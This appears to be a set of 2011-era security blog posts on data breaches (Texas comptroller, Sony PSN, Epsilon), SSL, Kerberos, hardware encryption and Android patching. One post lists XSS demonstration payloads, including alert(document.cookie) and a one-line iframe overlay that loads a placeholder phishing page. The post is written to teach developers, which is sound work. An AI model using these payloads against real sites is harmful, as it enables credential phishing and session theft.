Comptroller Susan Combs offered another apology Thursday for the information breach in her agency, saying she now is offering a year of free credit monitoring to the 3.5 million people at risk of identity theft after their data was exposed on a public computer server…She announced in a written statement April 11 that the Social Security numbers and other personal information of 3.5 million people were left exposed for a year or more in a publicly accessible computer server at her agency.

Dallas News

According to this article in the Dallas Morning News, 3.5 million identities were left free for the taking on a public server for at least a year. That is a colossal security lapse. However, it is a fairly responsible remediation that credit monitoring is being made available for the affected users. (Contrast this with Sony’s recent Playstation Network breach; Sony won’t even confirm whether or not credit card information was accessed in their attack.) Still, had literally any effort been put into keeping that information secured, the state of Texas wouldn’t have to spend an estimated $21 million for the credit monitoring services.

The security arena is one in which the maxim “an ounce of prevention is worth a pound of cure” holds especially true. How much would it have cost to audit that server deployment? A few thousand dollars? Tens of thousands of dollars? Hundreds of thousands? Any answer less than “21 million dollars” means that this should never have happened.

If you haven’t heard already about the PlayStation Network compromise, you should pay attention if you have a PS3 and use PSN. Your PSN online ID, name, address and birthdate have all been compromised, and (potentially) your secret questions, and credit card numbers. What I don’t understand is why Sony can’t definitively tell us that the secret questions and answers or the credit card numbers have been stolen? PCI rules require strict controls over the CC information, and the PAN (CC number) must be stored *unreadable*

Render PAN, at minimum, unreadable anywhere it is stored (including on portable digital media, backup media, in logs) by using any of the following approaches:
• One-way hashes based on strong cryptography
• Truncation
• Index tokens and pads (pads must be securely stored)
• Strong cryptography with associated key-management processes and procedures
The MINIMUM account information that must be rendered unreadable is the PAN.

And any access to it must be tracked “Track and monitor all access to network resources and cardholder data”.

So why can’t they tell if the data was accessed?

Either way, your data is “stolen” and can be used for identity theft. There are some indications that credit card information was stolen, but it’s not proven that it was stolen from Sony. Watch your credit card(s), your bank accounts and everywhere else you need to. If you used the same password elsewhere, change it (you should have already done that after Gawker media was compromised)

Cross-site scripting (XSS) vulnerabilities allow an attacker to inject content in an otherwise trusted web page. XSS attacks in the wild typically try to execute JavaScript, and consequently XSS issues are typically demonstrated with a script function that’s short, simple, and visual: the alert box. Many XSS examples use alert(1) or alert(‘XSS’) as a payload.

As others have noted, though, this fails to show the power of XSS, and may lead to a “so what?” reaction from developers not familiar with such a vulnerability. I like to compare alert(1) to showing that the safety of a gun is off. If someone has never handled or heard of a gun before, a small switch out of place won’t mean much. But when they see the gun fire and witness the damage a bullet can cause, the significance of that safety becomes apparent.

While I’m hardly the first to compile a list of example payloads that go beyond simple alert boxes (see also XSS – Exploitation beyond alert(‘xss’) and alert(‘xss’) – The slow death of XSS), I think it bears repeating that security professionals should be prepared to demonstrate the real dangers of XSS. Here are a few ideas to keep in your toolbox:

1. Expose cookies. My personal preference for a simple alert box when checking XSS is alert(document.cookie). Even if a developer is not familiar with XSS, most will likely recognize that access to the session data stored in a user’s cookie presents a problem. And note that if the injected script can alert those values, it can also send them to an external server, allowing an attacker to take control of the victim’s account
2. Gather real-world examples. While you’d certainly never want to just load a live payload on a vulnerable app, actual attacks against other sites are good testimonials for thinking about XSS. A few to get your file started:
   • Malware delivery on celebrity MySpace pages: Alicia Keys and other stars fell victim to an attack that didn’t even require JavaScript. An invisible <a> element covered the entire page, making any click send the user to a malicious site.
   • The Samy worm on MySpace: One of the fastest-spreading viruses used XSS. The Samy worm automatically friended other MySpace users and modified the profiles of victims. Its rapid spread caused MySpace to shut down temporarily.
   • Remote code execution on phones via the Android Market: A vulnerability in Google’s online store for Android apps could be used to send an install command when accessed from an Android phone. Once installed, the malicious app could then also be automatically launched.
   • Facebook bully video XSS payload: A recent attack exploiting a loophole in Facebook apps used event invites, chat messages, and Facebook pages to spread malicious links. The payload also included code for phishing account credentials.
3. Phishing demo. Create a page that mimics your app’s login form but submits to a different location, and save it somewhere safe but accessible. Add this bit of code to quickly replace a vulnerable page with your phishing page:
   

   x=document.createElement('iframe'),x.src='http://yourphishingpage/', x.height='100%',x.width='100%',x.frameBorder='0',document.body=x

4. Create a custom payload. Remember, once a script can be injected in a page, it basically has the same amount of access as any other script in the page. If you’re already familiar with code used by a vulnerable app, you can simply load a few of them with the XSS payload. With many sites using a range of client-side features, a few function calls can do quite a bit.
5. Set up a BeEF demo. The Browser Exploitation Framework, or BeEF for short, is a tool that essentially lets you create a small botnet. BeEF can be used to log keystrokes, detect features or history, and even launch Metasploit to load more sophisticated attacks.
6. Set up an XSS-based proxy. Tools such as Shell of the Future let you make requests for other sites from a victim’s browser and have the responses forwarded to your machine. This lets you tunnel traffic through other machines simply by exploiting XSS.

While the software industry continues to make strides in the area of security and data protection, the hardware industry shouldn’t be underestimated. With the announcement of storage devices like Toshiba’s MK-61GSYG hard disk drives, it may only be a matter of time before we see even more creative security features for hardware (due, in part, to industry-wide adoption of standards). Toshiba’s harddrive comes with some interesting security tricks, including the ability to configure the disk to erase itself when connected to an unauthorized host, and the ability for the drive to self-encrypt without relying on the host computer’s operating system for cryptographic operations.

Most of the features are drawn from the standards found in the Opal Security Subsystem Class (SSC) (pdf). The SSC is, in turn, based on the TCG Storage Architecture Core Specification. TCG is the same company behind the TPM platform standard, which was designed to let a system create and operate a trusted subenvironment from within an untrusted environment. The TPM platform still receives a fair amount of criticism for privacy issues and the potential for abuse.

A similar approach is used for some OPAL-compliant storage devices: dedicated on-board hardware that can handle a range of specialized operations (maintenance, authentication, cryptography) independently. The result is hardware like the MK-61GSYG, which probably meets many storage security requirements right out of the box. Although much can be said of the controversy that can surrounds newer standards, they can certainly provide a welcome stepping stone for innovation.

It’s data breach report day today. Or, so it seems. My brain just ‘sploded on overload from all the fresh tasty stats received. There’s not enough time today to go through everything with a fine-toothed comb. Suffice to say:

• Data breaches are continuing to happen in growing numbers.
• Basic security practices still aren’t happening.
• As painful as it is to admit, it appears that regulations like PCI DSS are having a positive impact.
• Our codebase still leaves much to be desired, though there is reason to be a bit optimistic.

That said, here’s the goods:

1. Verizon Business 2011 Data Breach Investigation Report
2. Veracode 2011 “State of Software Security” Report
3. Ponemon 2011 PCI DSS Compliance Trends Study

Incidentally, if you take the combined results of these studies, one of the key takeaways ties in very nicely with this quote from the current Cloud Security Alliance (CSA) v2.1 Security Guidance: “A portion of the cost savings obtained by Cloud Computing services must be invested into increased scrutiny of the security capabilities of the provider, application of security controls, and ongoing detailed assessments and audits, to ensure requirements are continuously met.” (h/t Gunnar Peterson)

Many papers and online explanations of security protocols are dense and quite complicated. And sometimes even security professionals don’t understand the explanations.

When I first started at CMU, there was a class called “Internet Security”. I went to the first lecture and promptly dropped the class. I understood practical security – but this class focused on theoretical security. In the first class, we were given the “security language” of Kerberos. At the time, I had barely used Kerberos as part of the CMU computer systems, and certainly didn’t understand it – and didn’t realize that that’s what the class was about, until several years later. Now, I finally understand more, and really wish I hadn’t dropped that class.

However, there are likely few people in the world (and most of those are likely in academia) that can understand the language presented in that class. It’s important for communication between researchers, but it leaves those of us with a more practical mindset scratching our heads.

Back in 1988, Bill Bryant wrote a “play” to explain Kerberos. And once I found that play, I finally understood how Kerberos worked. It may not have been as short and succinct as the security language my class taught, but I understood it – and still understand it years later.

Security folks sometimes have communications issues – it doesn’t hurt to try another method of communicating.

A few years ago, I wrote a post about “the power of s” explaining how important it is to use https instead of http, and how that made things more secure. Strictly speaking, what I wrote then was true. It’s very important to implement SSL, and SSL can indeed make communications secure. But it’s more complicated than that. SSL is an excellent tool which allows secure communication if it is implemented correctly. A bad implementation, however, is no more secure than sending data via clear text. And it’s awfully easy to have a bad implementation.

Ciphers are a good place to start. A cipher is the method used to encrypt a message. It’s the basis for most of what we tend to think of as security. But not all ciphers are created equal. Some are simply not secure. DES, for example, while having no particular vulnerabilities, does not allow a long enough key to be secure with modern computing. Not coincidentally, this problem with DES demonstrates that even a secure cipher like AES can be rendered ineffective if an inadequate key length is chosen. Figuring out what key length – and comparing key lengths – takes in-depth understanding of the cipher in question: 3DES with a 128-bit key is comparable (though not equal) to RSA with a 2048-bit key!

After ciphers, there are hashes, message digests, and signatures. These authenticate a message and assure that, encrypted or not, a message came from the source which it claims to have come from and that the message was not altered in transit. These are all crucial for preventing “man in the middle” attacks by which a third party can take over communication. As with the ciphers themselves, the algorithms used here are very important, and many have been proven to be insecure.

On top of that, there is the matter of certificates. Certificates play an important role in proving the identity of each end of the communication, and determining who to trust. However, recent events have proven that the certificates themselves can be insecure, either due to poor design or compromise of the certificate authority.

These are the basic concerns entailed in implementing SSL. Would that it were really so simple. Unfortunately, the real world throws in greater complications. The truth is that implementing SSL properly relies on the options made available by the hardware and software vendors. They may not have implemented every possible cipher; it may not be possible to load custom certificates. The certificates in use may not be able to negotiate shared keys… the list goes on. And that assumes using something like a unified solution. Inevitably, almost any IT environment becomes a heterogeneous environment. There is always a particular piece of the puzzle – firewall, a management tool, a server – that simply must be from some other vendor. And these parts don’t always work well together; often the only option by which products from two different vendors can communicate at all turns out to be decidedly less than secure. On top of that, even if secure options are available, and all the various parts can use the same ciphers and other components, there’s the administrative overhead: sure, it’s possible for each SAN switch to have a certificate, but do you have the resources to administer certificates on more than 500 of them?

The more I’ve learned about SSL, the more I realize how difficult it is to truly engineer a secure solution. Doing so can require fundamental and sweeping changes to an IT infrastructure and may take months or more to enact. Of course, anyone who cares about security should implement some form of security – but it’s important to remember that not only is it not as simple as changing an option in a control panel, it’s often as difficult as engineering the infrastructure in the first place.

Last week there was talk of an information breach affecting customers of several large corporations, whereby names and email addresses may have been leaked through a marketing company (Epsilon).

Even without knowing all of the minute details, there are some important things to take away from this:

• Large pools of consolidated personally identifiable information are huge targets for would-be attackers
• Those you trust with your trusted data might not be as careful with it as you’d like them to be (applies to both customers and companies)

But, although there is much to be said of the risk we all take when we share private data, perhaps the bigger issue is the fact that companies hound you for your personal information in the first place. I can *maybe* understand a bank or financial institution needing to know a reference phone number or an email address to send you account information. But Walgreens, Kroger, Eddie Bauer; do they *really* need my personal contact info?

I once had an airport kiosk salesperson to verbally question whether or not I gave him my real phone number on the questionnaire that I filled out to get a “free” prize. I fraudulently reassured him that the last 4 digits were “3210″, and I half-expected him to whip out his phone and double-check.

But not every company is out to spam you to death. And I’m sure there are many people who don’t mind being marketed to (especially by their favorite brands). But for those of us who are asked to give up our email addy at the checkout counter, what can we do to shield ourselves from the inevitable mishandling of information we might not even want to share?

Far be it from me to suggest that *other* people willingly give out inaccurate information, but I regularly switch my phone number digits around and give out the wrong domain for my email (apologizes to my hotmail address twin). Even without resorting to harmless chicanery, there are things we can do to protect some of our important data. For example, disposable email addresses are great for keeping spam out of your real inbox, and have the added benefit of being valued lower by attackers than, say, a business or government account. After all, who targets mailinator accounts? Or, if you have the technical chops, an option may be to sign up with a call-forwarding service (like Google Voice) in order to cloak your actual phone number.

In other words, consider giving out your personal information on a need-to-know basis. Even then, we may have fewer options when it comes to protecting data a company creates in-house about its own customers, or the details associated with payment card purchases. But then again, that’s why we have standards like HIPAA and PCI-DSS…

In light of the recent Epsilon data breach, it seems appropriate to chat briefly about the realities of balancing information risk. First and foremost, we need to make sure that we understand this thing called “risk.” In our context, risk is defined as “the probable frequency and probable magnitude of future loss” (based on Jack Jones’ FAIR definition). Put into practical terms, risk is the likelihood that we’ll experience a negative event. We then balance that out against the cost of defending against various scenarios (i.e., trying to reduce or transfer that risk), with the goal being to optimize cost vs. benefit. Let’s look at a couple practical examples.

Read the rest of this entry »

A little bird was heard saying that Google is finally taking a stance to try and reduce the amount of fragmentation its platform has suffered.

We had a couple people at CTIA last week — people whose words carry weight — tell us off the record that the next major version of Android would take big strides toward stopping the ugly trend toward severe fragmentation that has plagued the platform for much of this and last year. You know, the kind of fragmentation that has already left users running not one, not two, not three, but four distinct versions of the little green guy (1.5, 1.6, 2.0, and 2.1) depending on a seemingly arbitrary formula of hardware, carrier, region, software customization, and manufacturers’ ability to push updates in a timely fashion. Put simply, Google’s been iterating the core far faster than most of its partners have been able to keep up. – Engadget

Why should this matter? Well for one, having your user base spread out across multiple different versions of your OS or application can make patching updates a very serious issue. Using Google’s Android as the main example here – if you have a vulnerability found in, say, version 1.6 of your product, and you patch it in version 2.0 (Don’t ask. I don’t know where v1.7-v1.9 are either.), then having users update would be a natural progression, right? Well what if those users can’t upgrade due to one reason or another (carrier limitations). Well then you have the problem Android has been facing since launch.

Even the latest forms of Android vulnerabilities are only currently fully patched if you have v2.2 or better. So where does that leave all the people with v1.5-v2.1. Well they’re forced to find some other means of upgrading if their device or carrier won’t allow them to update. But let’s face it, not everyone has the means to root their device, dig through the numerous posts on xda-developers, and find a working rom of an updated version of Android. This entire process also shoots itself in the foot for most people in the corporate world where rooting your phone automatically takes it out of compliance with most security policies. Keeping your OS, Software, or Services patched and updated is one of the most effective ways to fight against vulnerabilities (those that are out of your control that is).

The fact that Google has, if anything, at least hinted at the fact that they’re going to take measures to help improve the process and outline of how the platform will be distributed and updated at least shows that they’ve recognized the problem, and might even go back and try and fix those in need now. But at least something can be done for future platforms to ensure everyone stays up-to-date (read: secure).